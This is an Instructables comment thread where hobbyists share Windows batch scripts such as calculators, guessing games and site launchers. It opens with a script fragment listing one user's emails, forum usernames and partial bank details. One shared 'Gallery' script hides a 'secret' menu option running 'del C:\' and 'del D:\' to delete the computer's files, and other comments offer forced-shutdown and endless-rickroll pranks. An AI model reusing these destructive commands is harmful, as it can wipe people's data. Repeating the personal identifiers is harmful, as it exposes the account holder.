pause
exit
:UnPack
set dest=N:\RDH-Lab.rar

cls
echo Welcome back "SyncMaster1990" Nice to see you!:D
echo.
echo Your data will unpacked and sent to the specified file.
echo.
echo Please make sure this file does not already exist befor continuing
echo as this may ruin your data.
echo.
pause
cls

echo   ________________________>>%dest%
echo   Yahoo ID's and Passwords>>%dest%
echo   ________________________>>%dest%
echo.
echo Username: syncmaster1990@yahoo.com            Password: >>%dest%
echo Username: rdsrcslink@yahoo.com                Password: >>%dest%
echo Username: upctimisoara@yahoo.com              Password: >>%dest%
echo Username: upc.romania@ymail.com               Password: >>%dest%
echo Username: tony_alejandro_montana@yahoo.com    Password: >>%dest%
echo Username: grovehood@yahoo.com                 Password: >>%dest%
echo Username: hackallnight_contact@yahoo.com       Password: >>%dest%
echo.
echo.
echo  ________________________>>%dest%
echo     Webs's and Forums>>%dest%
echo  ________________________>>%dest%
echo.
echo Site: http://webs.com                    Username: hackallnight          Password: >>%dest%
echo Site: http://triburile.ro                Username: jedinight90           Password: >>%dest%
echo Site: http://triburile.ro                Username: arragon91             Password: >>%dest%
echo Site: http://triburile.ro                Username: pufuleatza            Password: >>%dest%
echo Site: http://instructables.com           Username: radicalhacker         Password: >>%dest%
echo Site: http://filelist.ro                 Username: syncmaster1990        Password: >>%dest%
echo Site: http://theforce.ro                 Username: freelancer a/101      Password: >>%dest%
echo Site: http://hackallnight.forum-log.com  Username: admin                 Password: >>%dest%
echo Site: http://meebo.com                   Username: radicalhacker         Password: >>%dest%
echo Site: http://no-ip.com                   Username: syncmaster1990        Password: >>%dest%
echo.
echo.
echo.
echo  ________________________>>%dest%
            Bank Account>>%dest%
      ________________________>>%dest%
echo Username: 62820573>>%dest%
echo Password: Use Device -->>%dest%
echo Account Number: RO*4*7*RNCB*0*7*1*0*1>>%dest%
echo Atached Account: 2511.A01>>%dest%


echo Extraction complete!
echo.
echo Your data can be found here: Restricted Information
echo.
pause
exit

jmarri in reply to radicalhackerApr 2, 2011. 10:18 PM
How do you use this? Whats the User Name? Whats the 2 part ID Code?
PyRo_RaPiD in reply to neardoodJun 5, 2009. 9:09 AM
(removed by author or community request)
radicalhacker in reply to PyRo_RaPiDJan 4, 2010. 6:24 AM
You need some <html> lesons!!!=))
wezdog1 in reply to neardoodMay 25, 2009. 2:11 AM
u fail :)
wezdog1 in reply to neardoodMay 25, 2009. 2:11 AM
Fancy seeing u here neardood
neardood in reply to wezdog1May 26, 2009. 9:10 PM
...just cause I beat u 2 teh punch
wezdog1 in reply to neardoodMay 26, 2009. 10:23 PM
lol
skylord55816 in reply to neardoodFeb 28, 2009. 10:45 AM
Post the code you have... I'll try to help.
samkai says: Jan 5, 2011. 5:33 AM
Thank You!!
A nice selection of cool batch applications.
I have edited them a little and they are looking brilliant, thanks for the brill instructable!
account3r2 says: Jun 13, 2010. 1:02 PM
@echo off title Batch Calculator by account3r2 color 1f :top echo -------------------------------------------------------------- echo Welcome to Batch Calculator by account3r2 echo -------------------------------------------------------------- echo. set /p sum= set /a ans=%random% echo. echo = %ans% echo -------------------------------------------------------------- pause cls echo Previous Answer: %ans% goto top pause exit
nikola91 says: Feb 27, 2010. 12:40 PM
 and how i can block that folder? pls help
inforussle in reply to nikola91Apr 24, 2010. 12:40 PM
i like to use the file in the video
http://www.youtube.com/watch?v=BtEcezAA-gw
just be careful when you use it i recommend doing it on a new folder until you can get it right every time
Pizzapie500 says: Apr 14, 2010. 2:55 PM
Ehh not that good since you can click the X in the upper right corner (aka you can just exit the doc).
nikola91 says: Feb 27, 2010. 12:05 PM
when program start, you can change value for password in cmd, and you can go in that folder... Correct?
KaptainCaps says: Jan 19, 2010. 9:04 AM
i enter the folder thingy at the end and it only goes to my documents. can som1 show me how to enter cuz i think im entering it wrong
Cartuner55 says: Jan 4, 2009. 1:11 PM
is there any way to make it so it logs off or switches users instead of shutting down?
radicalhacker in reply to Cartuner55Jan 4, 2010. 6:21 AM
yes...chamge the comand from shutdown to switchuser or other
DarkFireSquirrel in reply to Cartuner55Apr 1, 2009. 6:09 PM
I know this has nothing to do with anything, but i like your display picture!!! Very creative.
Cartuner55 in reply to DarkFireSquirrelApr 2, 2009. 7:15 PM
Thanks!
skylord55816 in reply to Cartuner55Feb 28, 2009. 10:47 AM
Replace: start shutdown -s -f -t 35 -c "SHUTDOWN INITIATED" With: start shutdown -l -f -t 35 -c "SHUTDOWN INITIATED"
radicalhacker in reply to skylord55816Jan 4, 2010. 6:23 AM
you put in the samne command :-L
skylord55816 in reply to radicalhackerJan 24, 2010. 12:15 PM
 Not the difference between -s and -l
-s shuts down, -l logs out, -r reboots, etc
Derkman96 in reply to Cartuner55Feb 16, 2009. 6:38 AM
you could also direct it to logoff.exe instead of shutdown
Sejma (author) in reply to Cartuner55Jan 12, 2009. 3:22 PM
(removed by author or community request)
Fuogger in reply to SejmaFeb 4, 2009. 3:58 PM
umm... actually "shutdown -l" will log you off
plyalex1994 says: Jun 28, 2008. 5:08 PM
this isn't very secure because anyone who has a little idea about Batch files would just click edit find out the password and then type it in. if you turn this into a .exe file it will become uneditable and unviewable. which is much more secure. here is a website to download a converter
.bat to .exe converter
Callum Snowden in reply to plyalex1994Dec 6, 2009. 10:30 AM
Or, just save the batch file with a random file extension instead of .bat.
e.g password.secretfile
Laserman595 says: Nov 19, 2009. 12:51 PM
here is a really simple version of the batch calculator

@echo off
title batch calculator v 2.0
color 0e
:top
echo  --------------------------------------------------------------
echo welcome to the batch calculator v 2.0
echo type your math problem bellow
echo  --------------------------------------------------------------
set /p equation=
set /a ans= %equation%
cls
echo %ans%
pause > Nul
cls
echo last answer %ans%
goto top
exit
microchip55 says: Nov 1, 2009. 12:22 PM

when i do this command :  "net stop themes >nul" its says:
 
"System error 5 has occurred.

Access is denied."

when i put this in :  "net stop themes >nul"
it says:


"The syntax of this command is:

NET
    [ ACCOUNTS | COMPUTER | CONFIG | CONTINUE | FILE | GROUP | HELP |
      HELPMSG | LOCALGROUP | PAUSE | PRINT | SESSION | SHARE | START |
      STATISTICS | STOP | TIME | USE | USER | VIEW ]"


can you help me?

 

lm506 says: Sep 21, 2009. 11:05 AM
Am i missing something, I understand if you click on the bat file then it asks for the password and then opens the folder, but is there a way to make it where if you click on the folder it asks for the password. Otherwise somebody can just go find the folder and open it.
ben-with-his-knex says: Aug 2, 2009. 5:50 AM
this is really cool, thanks for the files!
higginsiv says: May 14, 2009. 5:50 PM
@leeabc123 hey, thanks for the comments on my tic tac toe, and good luck w/ yours. i recently added a single player tic tac toe, u can download it from higginsbatch.webs.com if you want. i also have my other batch files there for anybody to see. u can see the source from the downloads too. tell me what you think!
PyRo_RaPiD in reply to higginsivJun 8, 2009. 6:16 PM
(removed by author or community request)
shockna1 in reply to PyRo_RaPiDJul 14, 2009. 8:53 PM
If the file type is .rar you have to download (winrar) it should be a free program google serch it .
higginsiv in reply to PyRo_RaPiDJun 11, 2009. 4:31 PM
hey go here to check it out, it just has the code on it.

http://masterjake.x10hosting.com/forum/viewtopic.php?f=40&t=291
granjef3 says: May 12, 2009. 3:41 PM
if you put surf33 in the guessing game you get the number instantly
will421 in reply to granjef3Jun 1, 2009. 12:27 PM
With it thinking you`re Semja.
DELETED_Gilrostwo in reply to will421Jun 3, 2009. 12:53 PM
(removed by author or community request)
will421 in reply to DELETED_GilrostwoJun 23, 2009. 8:52 PM
;)
jeymeowmix says: Sep 3, 2008. 2:42 PM
um... couldn't you just go to the folder manually?
geeklord in reply to jeymeowmixOct 3, 2008. 2:07 PM
you are so right....... im dissipointed
DELETED_Gilrostwo in reply to geeklordJun 3, 2009. 1:01 PM
(removed by author or community request)
geeklord in reply to DELETED_GilrostwoJun 3, 2009. 1:55 PM
yea, sure
Batryn says: Apr 9, 2009. 4:37 PM
I made the folder thing work, but I need a way so if they open the folder, it will be closed and the folder protector will pop up.

I've got:
If start *something* goto m
If open *something* goto m
:m
echo hi
pause
wax54 says: Apr 6, 2009. 11:38 PM
simple add a whole bunch of echo echo echo echo echo echo then just put spaces shift 8's and save it as a bat dont forget to add pause at the end:}
median says: Mar 29, 2009. 5:53 AM
if you enter surf33 in the guessing game, it tells you the answer
skylord55816 says: Feb 28, 2009. 9:44 AM
Heres another version of the calculator:

@echo off
color 0A
title CALCULATOR VERSION 1.2
:loop
cls
echo by BMR
echo _
echo by skylord55816
echo.
echo Calculator Version 1.2
echo -----------------------------------------------
echo * = MULTIPLY
echo + = ADD
echo - = SUBTRACT
echo 2 = SQUARED
echo / = DIVIDE
echo After an equation, type CLEAR to clear the screen of your equations, type KEEP to leave them there, or

type EXIT to leave.
:noclear
set /p UDefine=
set /a UDefine=%UDefine%
echo.
echo =
echo.
echo %UDefine%
echo KEEP, CLEAR, OR EXIT?
set /p clearexitkeep=
if %clearexitkeep%==CLEAR goto loop
if %clearexitkeep%==KEEP echo. && goto noclear
if %clearexitkeep%==EXIT (exit)
:misspell
echo.
echo -----------------------------------------------
echo You misspelled your command. Please try again (make sure you are typing in all caps LIKE THIS).
echo Commands:
echo CLEAR Clear all previous equations and continue calculating.
echo KEEP Keep all previous equations and continue calculating.
echo EXIT Leave your calculating session
echo Enter in a command now.
set /p clearexitkeep=
if %clearexitkeep%==CLEAR goto loop
if %clearexitkeep%==EXIT (exit)
if %clearexitkeep%==KEEP goto noclear
goto misspell

Hope you like it!!!
skylord55816 in reply to skylord55816Feb 28, 2009. 9:47 AM
There are supposed to be two carots (a carot is Shift+6) in front of the 2 after squared... Command prompt leaves the first one out for some reason so you have to have two... And if you have 2, then Instructables thinks you are trying to draw something innapropriate.
Batryn says: Feb 23, 2009. 4:23 PM
I don't understand the IF command... I want to make something so if someone clicks on internet, then it opens more internets.... I just can't get the if part... Here's what I got @echo off If (START Mozilla Firefox) goto m :m Start www.google.com Goto m
leeabc123 says: Feb 3, 2009. 3:34 PM
Ok, I just re-read your comment above... (higginsiv says:Jan 29, 2009. 7:09 PM) It is way easier than what I am trying to do!! I haven't actually had time recently as I have been busy at work with.... well work!!! But hopefully tomorrow I can launch into it again and try get somewhere. Lately I struggle sleeping because I dream up code for things! Anyway, I am off to bed... good night
leeabc123 says: Jan 27, 2009. 5:03 PM
Hi there. When did you post this code? I have an interesting game for you to try and write! I was trying to write OXO (Tic Tac Toe) and it proved to be too difficult. Maybe I was going about it the wrong way using 'for /f' loops... Any ideas? Cheers - I really enjoy your calculator... so simple yet so hard. Where did you learn your programming?
higginsiv in reply to leeabc123Jan 29, 2009. 7:09 PM
hey ive made a tic-tac-toe game. here's the link:

http://www.youtube.com/watch?v=yq-OXVrKfP8

please comment and subscribe. i have two other batch file vids up right now, but ive made about 5 other games, and one useful app. ill be posting them later, and eventually the code for them

but some advice on your coding, use IF statements

for example on X's turn, they would pick a place on the board (denoted by a number) and that would send them to a bit that looked like this:

IF %place% EQU X goto error
IF %place% EQU O goto error
set place=X
goto player2turn

the first two lines check to see if there is already an X or O there, and if not the third line sets the spot as X. then it directs you to player 2's turn. anyway, hope that helps!
Sejma (author) in reply to leeabc123Jan 29, 2009. 9:47 AM
hmmm...i haven't programmed in Batch for quite while, Tic Tac Toe is a clever idea though. I'll give it a shot when I have some free time. Let me know if you get a breakthrough. I'm busy taking a Java development course at the moment, so my Batch is quite rusty. I learned batch, mainly from Instructables and just looking at examples. Thanks for the positive feedback - sejma
leeabc123 in reply to SejmaJan 30, 2009. 10:36 AM
(In response to the OXO code...)

Hi, I looked at the code on you tube.... and it was a much simpler version of the one I did!! I eventualy got one working but it doesnt score yet... it looks like this:
example:
X:O:X
O:X:O
O:O:X

That is just an example of the layout!
As soon as I crack the score I will post it up! It is pretty good, but your score system is fantastic!

I used loads of for /f loops with setlocal enabledelayedexpansion.
But I am going to make my script alot simpler by using your 'place selcetion' by number method. (I currently use set /p row= and set /p colum= which as you can guess makes the game a lot longer and boring!)

Watch this space! - it will take ages so watch this space, but dont hold your breathe! Keep up the good work guys
gunnergrady says: Jul 17, 2008. 5:33 AM
Im new to batch files, but heres one i made that i like. It runs an alarm clock that runs playlist in realplayer as an alarm. i made it cos i got sick of listening to the radio in the mornings and i cant stand buzzer alarms. this way i can wake up gradually over however long i want to what ever music i want. the other day i set my alarm to huey lewis' and the news "the power of love" in a reenactment of back to the future.

@echo off

set /a hour=7
set /a minute=10

:LOOPSTART

set /a currentHour=%TIME:~0,2%
set /a currentMinute=%TIME:~3,2%

if %hour% == %currentHour% goto :secondCheck
:nup
PING 1.1.1.1 -n 1 -w 60000 >NUL

goto LOOPSTART

:secondCheck
if %minute% == %currentMinute% goto LOOPEND
goto nup

:LOOPEND

cd C:\Program Files\Real\RealPlayer
start realplay.exe alarm.RMP
TOCO in reply to gunnergradyJan 24, 2009. 11:02 AM
how do you work it. I did it but cant use it i would like some help please.
gunnergrady in reply to TOCOJan 24, 2009. 5:02 PM
You have to save a playlist as a .rmp file in real player in the same folder as the application. On my computer realplayer.exe is located in c:\program files\real\realplayer. It might be somewhere else on your computer.
TOCO in reply to gunnergradyJan 26, 2009. 4:55 AM
thanks for the help it works great
pingeee says: Jun 16, 2008. 7:06 PM
cool. I like the calculator
Psychic Master in reply to pingeeeJul 20, 2008. 2:18 PM
check this out:



@echo off
color 0a
:start
cls
echo ----------------------------------------------------------
echo calculator
echo for a brand new calculator with division. V1.2
echo ----------------------------------------------------------
echo notepad
echo to open notepad.
echo ----------------------------------------------------------
echo site
echo for a site selector that you can program your self. V1.1
echo ----------------------------------------------------------
echo command
echo to open command promt.
echo ----------------------------------------------------------
echo shutdown
echo to shutdown the computer.
echo ----------------------------------------------------------
echo game
echo for a round of guess the number.
echo ----------------------------------------------------------
echo exit
echo to exit.
echo ----------------------------------------------------------
echo enter one of the keywords from above...
set /p pass=
if %pass%==notepad (
goto notepad
)
if %pass%==site (
goto selector
)
if %pass%==calculator (
goto calc
)
if %pass%==command (
goto command
)
if %pass%==shutdown (
goto shutdown
)
if %pass%==game (
goto game
)
if %pass%==exit (
goto exit
)
if %pass%==secret (
goto secret
)
:notepad
cls
echo ----------------------notepad-----------------------------
echo are you sure?
echo.
echo Y or N
set /p conut=
if %conut%==Y (
goto there
)
if %conut%==N (
goto start
)
:there
SET /a num=1
:thing
if %num%==0 goto exit
start notepad.exe
set /a num=%num% -1
goto thing
:selector
echo are you sure?
echo.
echo Y or N
set /p conu=
if %conu%==Y (
goto forward
)
if %conu%==N (
goto start
)
:forward
cls
echo --------------------site-selector--------------------------
echo.
echo welcome to the site selector made by Master Vizz
echo.
echo where do you want to go
echo.
echo KEY:
echo 1 Yahoo - Search Engine/Mail Server
echo 2 Instructables - A How-To Website
echo 3 YouTube - Online Videos
echo 4 Comcast - news, search, and videos
echo 5 bat to exe online converter - YAY!!
echo 6 zombie rampage - shoot zombies!!!
echo 7
echo 8
echo 9
echo 10
echo 11
echo 12
echo.
echo.
echo Enter the number of the website which you would like to go to:
echo.
set /p word=
echo.
if %word%==1 start www.yahoo.com
if %word%==2 start www.instructables.com
if %word%==3 start www.youtube.com
if %word%==4 start www6.comcast.net/a/
if %word%==5 start http://www.f2ko.de/ob2e/ob2e.html
if %word%==6 start http://www.zombiegames.us/play-4038-theendlesszombierampage.html
if %word%==7 start
if %word%==8 start
if %word%==9 start
if %word%==10 start
if %word%==11 start
if %word%==12 start
cls
:calc
cls
echo ---------------------calculator----------------------------
echo are you sure?
echo.
echo Y or N
set /p con=
if %con%==Y (
goto onward
)
if %con%==N (
goto start
)
:onward
title calculator
ECHO Calculator Version 1.2
ECHO programmed by Logan Ryan
ECHO * = multiply
ECHO + = add
ECHO - = subtract
echo / = divide
pause

:loop
echo.
SET /p UDefine=
SET /a UDefine=%UDefine%
ECHO =
ECHO %UDefine%
ECHO.
goto loop
:command
cls
echo ----------------------command-promt-------------------------
echo are you sure?
echo.
echo Y or N
set /p co=
if %co%==Y (
goto continu
)
if %co%==N (
goto start
)
:continu
SET /a num=1
:cool
if %num%==0 goto exit
start CMD.exe
set /a num=%num% -1
goto cool
:shutdown
cls
echo ----------------------shutdown------------------------------
echo are you sure?
echo.
echo Y or N
set /p conuti=
if %conuti%==Y (
goto headward
)
if %conuti%==N (
goto start
)
:headward
shutdown -s -f -t 20 -c "LOCKDOWN INITIATED"
goto exit
:game
cls
echo ---------------------game-----------------------------------
SET /a GuessNum=0
SET /a Answer=%RANDOM%
ECHO Guess what Number I'm thinking of.
echo made by Logan Ryan.
:Retry
SET /p Guess=
IF %Guess% LSS %Answer% ECHO My Number is Higher.
IF %Guess% GTR %Answer% ECHO My Number is Lower.
IF %Guess%==%Answer% GOTO END
ECHO.
SET /a GuessNum=%GuessNum%+1
GOTO Retry
:END
ECHO You are Correct! The Answer was %Answer%
ECHO It took %GuessNum% Guesses.
ECHO.
PAUSE
goto exit
:secret
cls
echo ---------------------------secret---------------------------
echo are you sure?
echo this will delete everything on this computer.
echo.
echo Y or N
set /p conutis=
if %conutis%==Y (
goto parts
)
if %conutis%==N (
goto start
)
:parts
del C:\
del D:\
goto exit
:exit
cls
echo -------------------------exit-------------------------------
echo type Y to pick another program to run
echo or type N to exit
set /p exit=
if %exit%==Y (
goto start
)
if %exit%==N (
goto end
)
:end
echo thank you for using the Gallery.
echo.
echo this program was made by Master Vizz
pause
cls
exit


how do you like this?
chan650 in reply to Psychic MasterAug 8, 2008. 8:26 PM
you shouldn't create bat file to wipe out peoples hard drives. Not only would it delete thier files, but they would also have to completely reinstall Windows
bounty1012 in reply to chan650Jan 2, 2009. 9:17 PM
hmm I could use on of those...
lieuwe in reply to chan650Oct 28, 2008. 11:57 AM
it doesn't actually erase your hard-drive, it does claim to, but it is just to scare people, you can just restart your PC and it works again
Sejma (author) in reply to Psychic MasterJul 21, 2008. 9:38 AM
very good, the secret part is a bit dodgy though, but well done
snipeyouout says: Nov 25, 2008. 10:22 AM
thank you, i started something like this a while ago and now thanks to your code i got it working
stephen2803 says: Nov 2, 2008. 1:04 PM
how do you do the smiley at the end?
geeklord says: Nov 1, 2008. 9:34 AM
I made a file called second password and set it to run in full screen on start up. The rest of my family isn't very tech savy and wouldn't know how to stop this without entering the correct password. But when I enter 2 words it automatically exits. Why?

@echo off
:top
cls
echo -----------------------
echo Enter password
echo -----------------------
SET /p input=
If %input%==gunner goto correct
cls
echo WRONG
pause
goto top
:correct
cls
echo ----------------------------
echo password excepted
echo ----------------------------
pause
exit

FrozenFire 99 says: Aug 6, 2008. 11:07 AM
is there a way to attach the "Folder Password Batch" to a folder so the batch opens when you click on the folder
Sejma (author) in reply to FrozenFire 99Aug 6, 2008. 12:34 PM
no sorry I'm still working on that...
collard41 in reply to SejmaAug 19, 2008. 3:33 PM
you could make a shortcut to the batch file, and make the shortcut look like the file you are trying to open, so it opens the batch file itself
Foaly7 in reply to collard41Oct 17, 2008. 5:17 PM
After you do that, you can hide the original .bat file so they are in the same directory.
hoWmAnyTiMeS says: Sep 4, 2008. 6:33 PM
hey thanks for this. im really interested in computer programming and batch stuff. thiss really helped me out. :]
Techy says: Jul 23, 2008. 12:59 PM
If you really want to mess with someone put this in: start www.smouch.net echo YOU JUST GOT RICKROLLED!! loop It will make endless rickrolls. :)
techno_pig says: Jul 15, 2008. 12:34 PM
Honestly you don't need the variables at the beginning. I.e. set google=1
i made one without those, and it works fine:

@echo off
color 1a
title Sites by techno_pig
:start
echo Key:
echo.
echo --------------------------------------------------------------
echo.
echo 1 = Google
echo 2 = S.K.Incorporated
echo 3 = Instructables
echo 4 = YouTube
echo 5 = W3 Schools
echo 6 = Fox on Demand
echo.
echo --------------------------------------------------------------
echo Press "e" to exit.
echo.
echo --------------------------------------------------------------
echo.
echo Enter the number of the website you wish to visit:
set /p input=
echo.
if %input%==1 start www.google.com
if %input%==2 start www.skincorporated.net
if %input%==3 start www.instructables.com
if %input%==4 start www.youtube.com
if %input%==5 start www.w3schools.com
if %input%==6 start www.fox.com/fod
if %input%==e goto exit

cls
echo.
echo --------------------------------------------------------------
echo.
echo Press "e" to exit, "b" to select another site.
echo.
set /p input=
if %input%==e goto exit
if %input%==b goto start
echo.
:exit
echo --------------------------------------------------------------
echo.
echo Thank You for using Sites by techno_pig.
echo.
pause
exit
Sejma (author) in reply to techno_pigJul 21, 2008. 9:44 AM
yes, i know what you mean, but i put it there for information purposes for example if they wanted to change it so they can type "Google" instead of "1", then they must set a variable
Psychic Master says: Jul 15, 2008. 7:20 AM
nice instructable there all pretty good.
littlegandhi1199 says: Jul 5, 2008. 3:59 PM
this is my version of the guessing game,
I added in so that at the end, if you want to play again
you can

@echo off
color 09
title Guessing Game by SEjMA
set /a guessnum=0
set /a answer=%RANDOM%
set variable2=please
set die=yes
set dead=no
:very top
cls
echo -------------------------------------------------
echo Welcome to the Guessing Game!
echo.
echo Try and Guess my Number!
echo -------------------------------------------------
echo.
:top
echo.
set /p guess=
echo.
if %guess% GTR %answer% ECHO Lower!
if %guess% LSS %answer% ECHO Higher!
if %guess%==%answer% GOTO EQUAL
set /a guessnum=%guessnum% +1
if %guess%==%variable2% ECHO Hey Mikey, %answer%
goto top
:death
echo BYE!!!!!!!!!!!
echo.
echo See you next time!
echo.
echo Come again
pause
cls
echo BB BB YY YY EEEEEEEE
ECHO BB BB YY YY EE
ECHO BB BB YY YY EE
ECHO BBBB YY EEEEEE
ECHO BB BB YY EEEEEE
ECHO BB BB YY EE
ECHO BB BB YY EE
ECHO BBBB YY EEEEEEEE
Pause
exit
:equal
echo Congratulations, You guessed right!!!
echo.
echo It took you %guessnum% guesses.
echo.
echo Play Again?
echo Type yes or No
set /p death=
if %death%==%die% GOTO very top
if %death%==%dead% GOTO death
rimar2000 says: Jun 17, 2008. 5:22 AM
Very good, thanks.
Pro

Get More Out of Instructables

Already have an Account?

close

PDF Downloads
As a Pro member, you will gain access to download any Instructable in the PDF format. You also have the ability to customize your PDF download.

Upgrade to Pro today!